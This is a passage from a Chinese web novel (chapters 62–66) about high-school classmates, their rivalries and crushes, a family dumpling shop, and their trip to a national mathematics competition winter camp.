“突然好奇一下而已,你说嘛。”盛逸扭扭捏捏、含含糊糊。
“他……挺好的啊。”
奇怪,下节课就要讲评的英语卷子,她之前给塞到哪里去了。
“你不具体形容形容吗?这也太笼统了。”盛逸耐着性子继续问。
“你没事好奇这个干嘛?”
应琮不找了,瞥他一眼,意识到他今天格外奇怪,四两拨千斤道。
“就随便问问。”
盛逸察觉到她语气的不对,立即老实住嘴。
虽然嘴巴是闭上了,但他并没有因此停止自己内心的猜疑。
杨乐红红的耳尖,在盛逸脑袋里挥之不去,心里愤愤:说什么话要遮遮掩掩!还好意思脸红!
没想到一向老实本分的后桌是这种没有男德的人。
呵呵,应琮可还是有学业要顾的,保送名额尚未到手,岂有时间儿女情长!
可恨应琮看着是木头脑袋,又似乎有一腔少女情思,只是不对着他罢了。
不对,应该是只对着那个001,杨乐还不如他呢?怎么可能搅动她的春心?
所以杨乐真是这个心思吗?
他也喜欢应琮?
为什么自己要用……也?
一整节英语课,盛逸都坐立难安,时刻观察着自己身边距离最近的两个人——可惜毫无异常。
好不容易捱到下课,他又找了个机会,有一搭没一搭地和应琮搭话。
“听说隔壁学校很多人谈恋爱……”盛逸再次抬眼观察,话里有话,“但我觉得,咱们这个学段最是不能谈恋爱。”
“你觉得呢?”
几次三番莫名其妙的问题和试探,应琮真是搞不懂他一点。
“你到底想和我说什么?”
还有不到一个月他们就要参加国家竞赛,盛逸非但不紧张,还老是找自己讨论一些有的没的。
有点烦人。
即使是中考,应琮感觉自己也没有像现在一样那么大的心理压力。
她既担心自己一贯擅长的数学会在关键时刻失手,又害怕会让身边的亲友失望,甚至还有不愿让裴父冷嘲热讽的自尊……太多情绪压在心里,应琮光是维持自己正常上课生活都已经竭尽全力。
她实在没力气和盛逸玩谜语人的游戏。
“没想说什么,”感受到她话语里的冷淡,盛逸挠了挠头,“就是随便问问。”
“如果没什么重要的事情,拜托不要和我说话。”
盛逸愣了愣,半天才闷闷地说了一声好。
于是今天两个人没有再说过一句话。
*
“走吧,今天也向着饺子店进发!”
晚修上课铃悠扬,球场上的人寥寥无几,丁一锐拧紧瓶盖,看向哥们。
“呃,不了吧。我今天回家吃饭。”
盛逸语气有些闷,上午刚和应琮冷战,晚上又去她家店里吃饭,好歹他也是一个有偶像包袱的男高中生,多少有点拉不下脸面。
“你不是今早才约我说晚上一起吃饺子吗?”丁一锐狐疑地盯着他的脸,“怎么又变成回家吃了?”
“该不会是不想和我一起吃饭吧?”
“当然不是,”盛逸矢口否认,“只是今天菲菲要来我们家作客,所以我得回家吃饭。”
“昨天中午不是才说菲菲跟着她的妈妈回老家喝喜酒,今天就回来啦?”
丁一锐面对自身友谊危机的时候格外敏锐,满脸写着“不信任”三个大字。
盛逸张口却哑了,他完全忘记了昨天自己说的话。
“得了吧你,”丁一锐翻了个白眼,“连个像样的借口都编不出来。”
“反正来不来随你,我是一定要去吃饺子的。”
他单肩挎着自己的书包,一个人大步往前走,满脸都是对食物的坚定。
盛逸犹豫几秒,还是追了上去。
算了,他毕竟都答应了,况且应琮又不一定会在店里,还是要做一个守信用的人。
天色已经黑了,饺子店暖黄色的灯光十分显眼。
两个人按照惯例找了个窗边的位置坐下。
“一
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锐和盛逸来啦,今天还是老样子吗?”
现在刚好生意不忙,应雨柔走来招待他们。
丁一锐点点头,热情地回道:“我还是老样子,他嘛……就不知道了。”
说罢,有意无意地瞥了一眼盛逸,显然在意着刚才的事情。
“我也是老样子。”盛逸自知理亏,赶紧开口。
“好呀。”
应雨柔笑笑,转身去了厨房。
丁一锐和盛逸不约而同地看向窗外,默默喝水。
“你觉不觉得坐在那边的男生,他也经常过来吃晚饭?”
还不到十分钟,丁一锐就耐不住沉默了,凑过去悄声说。
坐在窗边的不止有他们,在另一个方向,单独坐着一个和他们年龄相仿的男生,穿着剪裁合体的制服,棕黑色头发打着卷。
虽然他只是安静地等待饭菜,却显出优雅的气质。
盛逸对他的长相也有印象,点头表示认同。
“他也不是我们学校的啊,干嘛非专门跑过来吃饭呢?”
丁一锐小声嘀咕着。
该不会是醉翁之意不在酒吧,盛逸心里寻思着,毕竟应琮经常放学就呆在店里。
两个人对视一眼,忽然起身带着自己的杯子,朝着男生的位置走去。
“哥们,介不介意我们一起拼桌吃饭?”
丁一锐大大咧咧地就坐在了男生对面。
“我们也喜欢这块窗外的景色,”盛逸接道,“没想到你这么有品味。”
男生没说什么,抬眸缓慢地看了他们一眼。
窗外,只能看到对街店铺的招牌来回滚动着红色的打折字样,哪有什么风景可言。
“谢了啊,哥们真大方。”丁一锐权当他默许,自顾自地顺竿爬,“不打扰吧?”
话是这样说,却没有一点惭愧的意思。
“哎呀,”应雨柔端着两碟饺子过来了,“你们怎么跑到这里坐了。”
“我们看他孤零零一个人坐着,想交个朋友。”盛逸道。
“那挺好呀,”应雨柔唇角含笑,“小珩和你们年龄差不多,肯定能聊得来。”
被称作“小珩”的男生抿了抿唇,将头别向窗外,表情看不真切。
“小珩,你的云吞面还没有那么快,可能还要再等五分钟才能上来。”
应雨柔上完了盛逸他们的,转身准备离开时,开口补充道。
“好的。”男生点点头。
“怎么称呼你啊,”丁一锐问,“我们不好也叫你小珩吧。”
男生横他一眼,语气平淡:“李珩。”
“好的李珩。”丁一锐从善如流地改口。
盛逸注意到,眼前人的表情称不上不爽,却像是有点别扭,让他莫名眼熟。
“说起来,”他出声替哥们打圆场道,“李珩同学你发型不错啊,在哪儿烫的?”
“天生的。”
李珩说罢,举起杯子抿了口水。
“别这么小气啊,分享一下Tony呗。实不相瞒我也想整个和你差不多的发型。”
李珩没回答,就这么让丁一锐的话落到了地上。
鬼使神差地,看着他,盛逸脑袋里又浮现了自己同桌的背影。
别想她了,世界上又不是只有她一个自来卷。
他又仔细看看坐在对面的李珩,对方的五官看起来和应琮并不类似。
一定是因为李珩面无表情的冷淡模样,才让自己展开联想的。
盛逸拿起桌上的水杯,咕咚咚喝光了。
63. 第 63 章
眼看李珩的云吞面也蒸汽袅袅地上来了,没话找话二人组总算放弃坚持和他尴尬而生硬的一回合制对话,三人开始埋头吃着自己的东西。
大门打开又关上,一阵冷风伴随着来人钻了进来。
“许老师,您看看要坐在哪里。”
少女清冷的声音,出现在安静的店里,像夏日庭院的风铃在泠泠作响。
吃饭的三人几乎是同时往门口看去。
“老师?!您怎么来了!”
注意到应琮身后站着的许明,吃饭小伙丁一锐瞬间立正了。
数学老师怎么大驾光临?
他的声音显然没控制住音量,应琮转身朝着他们坐着的方向看了一眼。
却先和盛逸对上视线后,她见盛逸表情似乎有些不忿,于是也垂眸,没主动打招呼。
许明没有第一时间回话,只粗略地朝丁一锐这桌点了点头,张望观察起店里的装修。
“丁一锐,盛逸,你们也在啊。”
三人之中,时满微微一笑,率先打破沉默。
“还真巧。”
丁一锐作为全场唯一的花蝴蝶,和她当然也有过几面之缘,两个人平时在学生会也是能说上几句话的关系,于是他很自然地就开始和时满对话起来。
“你怎么跑出来吃饭了?等下吃完饭还要回学校?”
时满点点头,笑容大了些。
“今天托应琮和许老师的福,能出来吃饭。”
“怎么来这里吃,”丁一锐奇怪嘀咕,环顾四周,并不是他高傲,只是……
“这里不像是老师会请客的地方啊?”
似乎是觉得他话里有话,许明像是被呛到了一般,忽然咳嗽起来。
“不是许老师请客,”时满用眼神示意在旁边假装透明人的应琮,笑眯眯道,“今晚上课的时候,她和老师因为一道题的解法打赌来着,结果输了,所以是应琮要请客吃饭。”
“我没记错的话,你们竞赛小组里不是还有裴少言吗,他怎么没跟着一起来?”
盛逸的声音突兀地插了进来。
时满挑眉,看了一眼说话人的同桌。
“老师,不如我们坐在这里吧。”
应琮没有理会任何人的视线,给许明找了个座位。
她特意选了一个离这里最远的位置。
知道她是故意的,盛逸暗自咬了咬牙旁的软肉,感觉自己真是自讨没趣。
某人实在是坏,对别人和颜悦色,对他视若无睹。
注意到身边人的表情暗自发生了变化,丁一锐低头凑过去小声解释。
“应琮没跟你说吗?001这周就请假了,听说一直到期末才回来。”
“哦。”盛逸撇了撇嘴,但表情总算没刚才那么难看了,“我哪里有你消息那么灵通。”
但他随即又发动了想象力:难道这就是坏脾气同桌今天脾气更坏的原因吗?
这样一想简直不得了了,盛逸嘴里的软肉都要被自己咬破、被酸味腐蚀了。
他转头看去,可是应琮带着他们遥遥坐在另一边,盛逸把身子坐得再正,也只能看到她的四分之一个侧面。
“要不咱们再换个位置?”
丁一锐见他努力得都有点心酸了,低声道。
“算了,”盛逸收回视线,重新坐好,“都快吃完了。”
他将收回的视线若有若无地落在安静吃面的李珩身上。
他不想自己表现得太明显,尤其是当着这个外人的面,如果给应琮带来麻烦就不好了。
“随你。”
丁一锐举起醋壶,给他满上。
而另一边——
“说起来,”许明其实有些洁癖,平时不爱在外边吃饭,不过这家小店还算洁净,他审视完毕后觉得满意才开口,“我们年级还有不少人来这里吃饭呢。”
“是啊,”时满附和道,她是应女士厨艺的坚定拥护者,“我每次来基本上都会遇到同学。”
虽然她平时大多时间在学校,能来店里的次数伸出一只手都能数的过来,但这并不妨碍她替饺子店说好话。
“看来应琮经常在年级里宣传呢。”
许明深以为然地点点头。
听到他的话,应琮正在喝水的动作都僵住一瞬间。
新店开业的时候,自己的确是在班里有意无意地宣传过,帮忙带早餐也是为了帮妈妈招徕多几个回头客……可这话从老师的嘴里说出来,应琮不免将心提了起来。
换作旁的老师也就罢了,只是许明一向有些苛刻,她担心对方怪自己不务正业或是怎么。
“也不算宣传啦,”时满和老师打交道时非常自如,适时地接话道,“其实是因为这里的东西好吃,所以大家口口相传,就经常来了。”
“也是……”许明又一次抓错话语里的重点,“学校食堂里的东西……一个月就腻了。”
他们学校什么都还行,唯独食堂高盐高油还难吃的食物让他难以忍受,一度产生要考到隔壁九十三中教书的冲动。
“老师你也吃食堂?”应琮奇怪道。
还以为老师们平时吃的都是教职工食堂里的好肉好菜呢。
“对啊,”好像说到了他的伤心事,许明语气有些夸张,流露出几分学生气,“现在都讲究师生同餐,我们吃的东西和你们吃的一模一样。没想到双方饮食都没改善。”
“原来是这样啊。”
应琮和时满对视一眼,都笑了。
虽然自己现在基本远离了一中食堂,但应琮对此依旧保持着深深的共鸣。
*
应琮也没想到,自己打赌失败后反倒因祸得福。
自从上次接受了她的请客后,许明时不时地会来饺子店吃晚饭,不知道是不是什么奇特的名人效应,很快在学校里一传十十传百,饺子店里出现的校服身影越来越多。
店里光是自己和美芳显然无法应对饭点出现的“蝗虫大军”,应雨柔很快又招了两名兼职生,即使如此,她依然每天都早出晚归。
这天,天空还没有大亮,应雨柔就轻手轻脚地来到厨房,准备提前给应琮做早餐。
即使再忙,她也不会让应琮的生活质量有所下降。
“妈妈。”
应琮脚步拖沓地从房间里走了出来,站在昏暗的客厅里叫她。
“宝贝,今天怎么起这么早?”
应雨柔将手里的蛋壳丢进垃圾桶,回身关切道,“再回去睡一下吧。”
“睡不着。”
应琮屈腿坐在沙发上,下巴靠在自己的膝盖上,头发散乱,整个人缩成一团。
“那等下上学时候困了怎么办?”
应雨柔的声音被锅里呲啦作响的煎蛋模糊了。
“……我现在去冲咖啡。”
应琮慢慢地伸直腿,从沙发上滑下来,光着脚站在茶几边,却又没有下一步的动作。
“做噩梦了吗?”
应雨柔看她分明没睡醒,又不愿意继续回去睡,猜测道。
她小
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时候做噩梦之后就会这样踢踏着拖鞋、抱着玩偶来找自己。
“没有啊,”应琮似梦非梦,皱眉回忆,“我梦到自己在学校里,有很多人……”围着自己,嘴里还不停说着什么。
她在梦里似乎什么都听不清楚,可又无法挣脱,昏沉沉的,整个人像是被按在了深海里。
好不容易才从床上爬起来,应琮掀开被子,发现自己不知何时出了一身的冷汗,睡衣黏在身上,潮乎乎的。
“很多人干什么?”
应雨柔将煎蛋盛到盘子里,接着她的话问。
“没什么。”
应琮撕开一袋速溶咖啡,倒在杯子里,闭口不提自己的梦。
吃完妈妈精心准备的早餐,母女俩一同出门,天边才刚泛着青白色。
“今天这么早去学校,晚上又要很晚才能回来。”
应雨柔将准备好的点心袋子递给她,眼神里满是心疼。
“别人也是这样的。”
应琮接过东西,在饺子店门口和妈妈分别。
她今天来得确实太早了。
即使是住宿生,进校之后应琮也没有见到几个,校园里空荡荡的,很静。
“熊颜颜?”
来到教学楼,应琮冷不丁看到一个熟悉的身影,正在墙上忙碌。
女生转过身来,脸上带着老师不易发现的淡妆,见到她来,眼露惊讶。
果然是熊颜颜。
“你在干什么?”
应琮走近去看,墙上仿佛被贴了一张尺寸不大的海报。
“你来得正好,”熊颜颜从容地回身,她露出标准的微笑,两个梨涡展现,“今天有没有带手机?”
“有。”
应琮现在每天都带手机上学,准时交到班主任那里,放学再去拿。
“那麻烦你扫码看看,这个匿名论坛的小程序能不能用。”
熊颜颜往旁边移了移身子,海报上露出一个二维码。
“匿名论坛?”
应琮嘴上重复着,拿出手机扫码。
不知为何,虽然她请别人帮忙的姿态很理所当然,但却不会让人产生拒绝的想法。
“是的,”熊颜颜笑意更深,半靠在墙上,“我、邹枫,还有小玉几个人一起做了个小程序,到时候大家就可以在上面匿名发帖留言。”
“为什么要搞这个?”
应琮低头看了看小程序的界面,特意做成复古论坛的形式。因为是匿名的,所以也无需繁琐的注册和登录环节,随便滑动几下,页面还算流畅。
“你不觉得,只有聊八卦才有上学的动力吗?”熊颜颜反问。
“……还好吧。”
应琮没有表示反对,但也没有认同。
她最近忙学习到了连闲书电影都没空看的地步,没料到她们居然还有心思和精力做出这样一个小程序。
“总之,”熊颜颜拿起地上剩下的宣传海报,“我要趁着早上人还不多的时候,把这些海报都贴了。”毕竟学校大概率不会支持。
“你上楼回班吧。”
她转身走了几步后,向后摆摆手。
“嗯。”
应琮应了一声,将手机放回口袋。
自己和熊颜颜,比起之前只是见面客套地说“hello”和“再见”,现在倒是让她多了几分熟识的感觉。
这感觉不算糟糕。
冬日清晨的阳光,终于穿过云层,暖融融地洒下来。
应琮眼前,满地金黄。
64. 第 64 章
裴少言离开大部队独自一人去参加集训,这一去就消失了大半个月。
眼看着离比赛时间越来越近,这期间吴国才老师即使人在医院,也还几次发信息问在学校的数学组师生,裴少言能不能如期和大部队一起出发参加冬令营。
虽然正儿八经的现任教练许明不是很在意这则小事,但时满告诉应琮,应该是事关竞赛教练奖金,吴国才的病虽然不至于危急生命,但是需要大量用钱,所以他才担心裴少言这个金苗苗会产生什么意外。
不过也的确令人惊讶:居然连老师都联系不上裴少言本人。
如果不是最终在众人约定的集合地点看见了他,应琮都要怀疑他会不会直接去冬令营基地。
“好久不见。”
她见到熟悉的身影,便主动打招呼,拉着行李箱上前一步,抬眸打量阔别近一月的裴少言。
一段时间不见,少年身形依然挺拔,但应琮还是发现了他身上产生的变化。
裴少言的衣柜里基本上只有黑白灰三种颜色,此时虽然他穿了件厚实的黑色外套,整个人看起来却瘦了许多,下颌的棱角更加分明,于高冷中显出几分如冰般凛冽的气质。
还真是刻苦。应琮暗自感叹。
他是令整个年级都望尘莫及的存在,即使是在竞赛组里,不说她这个误入的菜鸡,就说时满,都觉得他是天才般的存在。
可明明都已经这么厉害了,国集的名额对他来说也不过手到擒来,怎么还是对自己这么严苛?
应琮相信自己对裴少言的了解,单凭他父亲一人的力量,他是不会将自己逼到这个境地的,这其中必然是他自愿的成分占多数。
裴少言一直以来都有一种令应琮看不懂的,自我虐待式的严苛。
“好久不见。”
裴少言似乎才看到她,弯唇一笑。
“你只带了一个背包吗?”
注意到他两手空空,应琮奇怪道,“行李也太少了吧。”
冬令营的地点对比他们所在的江城而言算得上是北方,虽然不至于跨过南北方的分界线,但毕竟是冬天,应女士害怕她没有在北方过冬的生活经验,东塞西塞的,不免带了许多满满当当的一大箱子。
“够用就好。”
话音未落,裴少言目光落在她耳侧,看得认真,让她觉得有些不自在,耳尖微微发热。
然后他忽然抬起手,向着应琮的头发伸去。
搞什么。
突如其来的动作,让应琮敏锐地脖子一缩,愣了几秒钟。
“你的帽子上,不知道什么时候挂到了一片树叶。”见她惊讶,裴少言淡定地解释,还给她展示了拿下来的叶子,然后随手丢开。
在收回手之前,还顺便帮她转了转帽子的方向,让两侧的花纹对齐。
“哦,谢谢。”
应琮下意识地伸手摸摸头顶,在出门前应雨柔特意给她戴上了针织帽。
早上出门时还有风,恐怕树叶就是那个时候出现在帽子上的。
哪怕两个人之前因为裴父的自作主张闹得有些尴尬,但毕竟好一段时间没见,裴少言连期末考试都没参加,应琮还是有些好奇他最近的状况,张了张嘴,刚准备问些事情,从旁边忽然弹出来一个人影。
“我来迟了!”
背着双肩包的一团亮色人影飞奔而来,另一只手几乎要将行李箱甩飞。
“你们两个不会等很久了吧?”
他匆匆跑到两个人中间站定,说话时,嘴里蒸腾出白气。
“刚到。”应琮奇怪地看她同桌一眼,嘴上依旧飞刀子,“又没有迟到,你至于跑那么快吗?”跑岔气痛死算了。
“欸,你帽子挺好看的啊。”
盛逸习惯了应琮仙人掌的性格,也知道了该怎么顺着猫毛捋。
果然,此话一出,应琮就不自在地白他一眼。
“应琮,你刚刚想跟我说什么?”
站在另一侧的裴少言语速不紧不慢,又将话题绕了回来。
“我……”应琮眨了眨眼睛。
当着盛逸的面,她莫名又有点不想问了。
“我知道,你一次请了那么久的假,”盛逸接过话头,笑呵呵道,“就连期末考试都没来得及参加,我们都在猜这次年级第一的宝座会是谁来坐。”
“嗯,对。”应琮顺坡下驴,附和着点点头,“我也好奇这个。”
“大概率是时满。”裴少言回答得很客观,说着往旁边站了站,偏头想要和她对视。
偏偏盛逸也紧接着移了移自己的脚步,始终隔开他和应琮。
“哎同桌,我感觉你这次也会有大进步的。你别不信,这是我掐指算出来的。”
应琮站在旁边,注意到两个人正不动声色地离自己越来越远,摸不着头脑。
这两个人在干嘛呢,为什么紧紧挨在一起,可氛围又有点令人紧张。
“你们久等啦!”
许文言的声音远远地就响起,十分有感染力。
她依然是穿着自己冬季那套固定搭配,黑色长款羽绒服搭配羊绒阔腿裤,如果不是手上拉着个明黄色的行李箱昭示着即将远行,她简直和偷偷从学校里溜出来吃早餐没什么两样。
“许老师和时满还没到吗?”
她走近看看,发现集合地点只有三名学生,连忙打开手机联系。
这次冬令营,一中总共派出了包括应琮几人在内的五名学生,分别参加数学、地理和物理的全国竞赛,其中一名不集体跟着他们过去的物理选手,不过才高一,就已经展露出惊人的竞赛天赋。
许文言刚拨通电话,就听见另一个方向传出同样的铃声。
时满也拖着自己每周回家的箱子,施施然出现在众人视野里。
“就差许老师了。”
盛逸看看手机,现在已经比他们约定要出发的时间晚了两分钟。
居然还有这么不靠谱的老师。
许文言接连打了几个电话都不通,盯着手机界面无奈地叹了口气。眼看一分一秒地接近发车时间,学生们又都聚在冷风中等着,她当即决定道,“我们先一起进站吧,不管他。”
“等等等等——”
几人刚转身走了两三步,一阵强劲的脚步声袭来。
来人正是气喘吁吁的许明。
“抱歉,刚刚急着跑步刚来,所以没接到你的电话。”
许明上气不接下气,连忙解释。
“快点吧,”许文言和时满并肩走着,脚步匆匆,“万一耽误了,还要改签。”
“都这么大人了,还是一直冒冒失失的。”
说罢,她又很小声地跟了一句。
如果不是
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因为时满刚好离得近,恐怕没有人听到。
时满扭头看了看正忙着从包里找出身份证的许明,又看看许文言的侧脸,若有所思。
这句话不像是同事与同事之间能说出来的,尤其是对方是下意识地在吐槽……说明两个人之间关系匪浅。
她只知道许文言是年级里的地理老师,也从没上过对方的课,时满不敢妄加猜测。
气还没喘匀的许明,又赶紧追上众人的脚步。
*
待下高铁时,恰好到了吃中午饭的时间。
几人坐了五个小时的车,虽然都吃了早餐,此刻不免也有些饥肠辘辘。
“老许,”盛逸凑过去,语气可怜兮兮,“我们能不能在外面吃了饭再过去?”
“我也想,”许文言晃晃自己的手机,“但是那边的老师说已经安排了大巴接我们去基地,车子已经在等着了。”
“这才刚下车没多久,”盛逸伸展手臂,抱怨道,“又要坐车多久啊?!”
“没办法,”许文言也能感觉自己肚子空空,“人家都盛情邀请了,不好拒绝。”
“如果丁一锐在就好了,”盛逸饿得前胸贴后背还在乱讲话,“把他揍晕,拍照当成低血糖病例发过去,这样我们就能好好吃个午饭了。”
许文言没空理他,忙着低头给对接的老师编辑信息。
“给。”
见他一直哼唧个不停,应琮用胳膊肘撞撞他的后背,旋即递过去一根油亮亮的烤肠。
“同桌……你对我也太好了吧!”
盛逸的眼睛瞬间亮了起来,精神状态肉眼可见地振奋不少,声音都忍不住夹了起来。
“你应该感谢许老师和裴少言,是他俩付的钱。”
应琮并不邀功,指了指身后的许明二人。
“是吗?”盛逸一秒恢复正常,彬彬有礼地冲她身后点了点下巴,“谢谢许老师和裴同学。”
裴少言背对着他,像是没看到,不予理会。
许明手上拿着四根烤肠,嘴里还包着半根,简单挑了挑眉就算是回应。
“车来了,”许文言指了指前面,“白色的那辆就是。”
扭头看见许明手上的烤肠,她的笑容顿时凝在脸上。
“买那么多干嘛?”她瞪了一眼还在吃东西的许明,“等下弄得车里都是味道……还有没有老师样了。”
“是人就要吃饭,相信他们会谅解我们的。”
盛逸吃人嘴短,赶紧替许明说话。
“算了。”
买都买了,当着学生的面,许文言也不想表现得太扫兴。
“也给我两根。”她冲许明伸出手。
因为表现得太过理直气壮,以至于他们都没有反应过来。
“怎么,没有买我的份吗?”
许文言却没有将伸出的手收回的意思,推了推眼镜。
似乎如果许明不给,她就要上手抢食了。
“哪敢怠慢许老师啊。没有你这么能干的人在团队里,我们怎么和基地对接。”
许明终于咽下嘴里的东西,将左手上拿着的都递给她,剩下的两根分给安静在一边看热闹的两个女生。
时满接过烤肠,感觉到自己的八卦雷达即将按捺不住。
以前怎么没有发现,这两个老师凑在一起这么好玩。
65. 第 65 章
师生几人将行李放好,依次上了巴士。
“那个……”盛逸站在车厢中央,眼神在应琮脸上停留几秒再滑走,状似随意地开口,“我们一起坐吧,其他人我不是很熟。”
应琮虽然有些意外他此刻的内向,也没有驳回他眼神里隐含的期待,只是观察着车内的位置,思考着具体要坐在哪里。
“咳,”站在应琮后面的裴少言也开口了,“趁还有时间,我和你讲一下我最近遇到的题目吧?有点难度。”
应琮好不容易找到心仪的座位,刚要坐下,闻言握住椅背的手一顿。
裴少言都说有点难度,那她还真有点好奇了。
她回头看向裴少言挺拔如松的身影,对方乌黑的发丝在透过车厢玻璃的阳光下泛着微光,因为瘦削,下颌线更锋利了。哪怕是因为许久不见这个理由,她也的确想跟他聊一下。
但一旁的盛逸已经伸出手按在她选定的座位上,象牙白的手关节因为用力透出微微粉红,一副分毫不让的姿态。
按道理是他先开口的,自己再换位置和别人坐的话……
应琮有些陷入两难,嘴里发出模糊的音节。
似乎是从迟疑的语气中感受到了她的动摇,盛逸眉心拧起,暗暗咬牙。
什么题不题目,说得倒是冠冕堂皇,想和应琮坐一起还找这么多借口。
盛逸越想越气,全然忘了自己也是编了个蹩脚的理由,比裴少言蹩脚多了。
这个裴少言也不知道怎么回事,消失一段时间回来之后,竟然变得更加可恶。之前还表现得对应琮没有意思,成天一副拒人千里之外的高岭之花,对她爱搭不理的,现在又在这里装什么冷冻肉回温。
假清高真拿乔。
他到底把应琮当什么,拉一拉就能回到手里的风筝吗?
“你们几个为什么都堵在走道上?”
走在最后的许文言好不容易上车,发现车内竟然0个人坐下,不禁发出疑问。
“他们在想座位应该怎么分。”
旁观高中生较劲的许明耐心十足,语气里似乎都带了笑意。
“少磨磨蹭蹭的,”许文言拿出班主任的魄力,“男生和男生坐,女生和女生坐!”
“……”
盛逸虽然撇嘴表示失望,但好歹是将手松开了。在他后面的时满努力抿了抿自己的唇,抑制住脸上的笑容,顺势也坐了下来。
幸好有许文言雷厉风行,四个人总算坐在了自己的位置上。
看看坐在过道边的应琮,又瞥了一眼坐在窗边的裴少言,盛逸鼻腔里模糊不清地冷哼了一声。
“等下到了之后,那边的老师会给大家一人发一张卡,平时在基地里吃饭、出行都可以刷卡。”
坐在最前面的许文言一边说,一边在群里接连发了不少文件,不仅有基地的日程表,还特意详细列举了一些在基地里的注意事项。
虽然冬令营的总时长足有两周之久,可每天的日程表依旧排得满满当当,从竞赛训练、预赛、选拔淘汰赛到最终决赛,只有能够一路披荆斩棘,在决赛中拿到银牌及以上的同学,才能获得加入国家集训队的机会。
换言之,入围国集后,他们就能拿到知名高校保送的名额。
“和在学校没什么两样嘛。”
盛逸看着早八晚六的上课表,嘀咕道。
裴少言靠在座椅上,双目微合。
“对了,”许文言想到什么,扶着座椅靠背慢慢站了起来,看着坐成一排的学生们,“到时进了基地,恐怕要收手机。”
“啊?!”
除了闭目养神的裴少言,几人都同时出声。
“没办法,”许文言耸耸肩,“毕竟是很严肃的比赛,你们稍微自制下,到时拿到了保送的名额,高三一整年有的是你们玩的。”
“老师你知道吗,”盛逸道,“你现在说话的嘴脸,就特别像在画大饼。”
应琮瞥他一眼,不是突发内向吗?
“这怎么是画大饼?”许文言不以为然,“不信你们问数学老师,他当年拿到保送名额之后是不是捧着手机大玩特玩了。”
和她隔着一条过道的许明冷不丁被cue,不得不出声。
“我那个时候,手机还没那么好玩。”他弱弱地开口。
“你读书的时候是七年前,不是七十年前好吧。别说的好像是老古董一样。”
借着镜框的遮蔽,许文言偏头瞪了他一眼。
“但的确手机还没那么好玩啊,也就电脑游戏好玩点……”许明气势虽然弱,依然坚持为自己正名。
见话题已经朝着另一个不可预料的方向去了,应琮连忙插嘴。
“如果我们需要打电话,怎么办呢?”
“听他们说,你们的宿舍里,每一间都配有座机电话,只要刷卡就可以拨通了。”
吵闹归吵闹,许文言一秒恢复答疑状态下的好好老师。
应琮点点头,听起来和学校里的壁挂绿色电话机差不多,于是拿出耳机闭上眼听歌。
难得离开家出远门,妈妈要求她每天都要打电话回去,念及应女士,她神色都柔软些。
她的眼神离开盛逸那边,对方反而又投来目光。
盛逸很少见到同桌露出这样的表情。
像小猫露出睡颜。
*
离开了熟悉的学校,随队的这两个老师又不是什么迂腐的老古板,车里的氛围和平时的课堂比起来轻松不少,就连并不熟悉许文言的时满,也间或聊了几句。
师生几人就这么聊生活聊学习,聊得不亦乐乎,大巴行驶的速度逐渐放缓,终于在目的地门前停下。
说是冬令营的基地,其实就是滨海大学。
“哎呦文老师!欢迎你们!”
等候在门口的中年男人,一看到他们就笑脸盈盈地迎了上来。
文老师?
先下车的应琮几人面面相觑。
这里只有两个“许老师”,哪个是文老师?
他们下意识地回头看看,许明回避开学生的目光。
别看他啊,他也不知道对方在和谁打招呼。
“张老师好,”许文言握住男人伸出的手,面上也带着灿烂的笑,“辛苦您出来接我们了。”
作为对接两方的带队老师,许文言提前看过对方朋友圈的照片,知道对方的样貌特征。
“文老师客气,”基地的张老师同样客气,“行李就先放在这边,我带你们去饭堂吃饭。”
这才听清楚对方对自己的称呼,许文言的笑容愣了一秒。
她记得自我介绍的时候,他们互通姓名了呀。
还在心里琢磨原因的时候,许文言错过了纠正自己称呼的最佳机会。
去饭堂的路上,热情的张老师就开始介绍起校内的建筑,期间不断“文老师”长“文老师”短,从最开始的惊讶,叫到后面,应琮他们都已经习惯了。
“文老师好。”
趁着张老师去帮他们拿校卡的功夫,许明凑了过去,笑得很贱。
许文言白他一眼。
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“你知道为什么他这样叫你吗?”许明一副胸有成竹的模样。
“为什么?”
盛逸从不让话落在地上。
“因为你的微信名太笨了,”他说,“‘文言老师’,他肯定以为这就是你的名字。”
像他们这种年纪的老师,一般都习惯直接备注大名。
“……算了,”许文言冷笑,“正好和你区分开。”
时间也不早了,下午还有入营仪式,几人匆匆吃完饭就带着行李去宿舍区。
“宿舍是按照学科来安排的,两人一间。”许文言道,“安排表我之前也已经发在群里了,你们看好门牌号,刷卡就能进房间。”
应琮和时满刚好一间房,而剩下的三名男生,因为来自不同的学科,所以分别要和其他学校的同学住在一起。
“哎,”盛逸比较不怕生,嘴里叽里咕噜道,“不知道舍友会是什么样的人……”
裴少言看了他一眼,良久才开口,只不过更像是对着身侧的女孩。
“我就住隔壁。”
他并没有刻意压低自己的声音,所以盛逸听得清清楚楚。
盛逸看了一眼旁边面色不改的少年,意思是说如果自己遇到了麻烦,可以直接去找他的意思吗?
应琮“哦”了一声没做什么反应,时满倒是领他这个情,接道,“住得近彼此也好有个照应。”
裴少言言简意赅地以“嗯”作结。
盛逸后知后觉地眨了眨眼睛,心里缓缓升起一股子不爽。
“下午三点半的时候,我会在楼下等你们,带你们去报告厅参加入营仪式。”
老师们被安排住在学生宿舍后的另一栋楼,告别前,许文言同他们叮嘱道,许明也在旁边挥挥手。
四名学生乖巧地点点头,准备拿行李各自上楼。
“小应学姐!”
称得上清脆的男声自对面响起,男生宿舍楼栋的电梯里走来一个身穿白色羽绒服的男生。
他小跑过来,深棕色的发丝在阳光下闪动,简直像一颗暖烘烘的小太阳。
“子蘩?”应琮看到他很是惊讶,“你怎么会在这里?”
除了繁星,几乎没有哪个学校能容忍学生堂而皇之染这种发色了。
莫名其妙又出现一个小学弟,盛逸的眼神开始警惕地打量起对方。
又瘦又矮,看起来像个初中生。
上来就和应琮套近乎,一定不怀好意!
男生又走近了些,笑眯眯道,“我和学姐一样,过来参加数学竞赛。”
应琮点点头,露出一个浅淡的笑容。
“你才高一,很厉害。”她赞许道。
王子蘩是她初中时同社团的学弟,毕业之后二人也只是沦为社交平台上的点赞之交,没想到会在这里偶遇。
“哪里,我肯定不如学姐厉害。”王子蘩眼角带笑,很是腼腆。
听他一口一个“学姐”的,盛逸实在心烦,再加上几个人还都拿着行李站在楼下,便忍不住开口。
“这位学弟,我们都还没有回宿舍放行李,叙旧和客套的话要不就先到此为止吧。”
听到这话,王子蘩转了转身,像是才发现外人的存在一般,上下打量他半晌,才“哦”了一声。
“说起来,我是看到名单上有个实验一中的同学恰巧和我分在同一间宿舍,想着要不要帮他拿一下行李,这才下楼的。”
“裴少言……是哪位?”
他的目光从两个男生身上缓缓扫过,笑容依旧完美无瑕。
66. 第 66 章
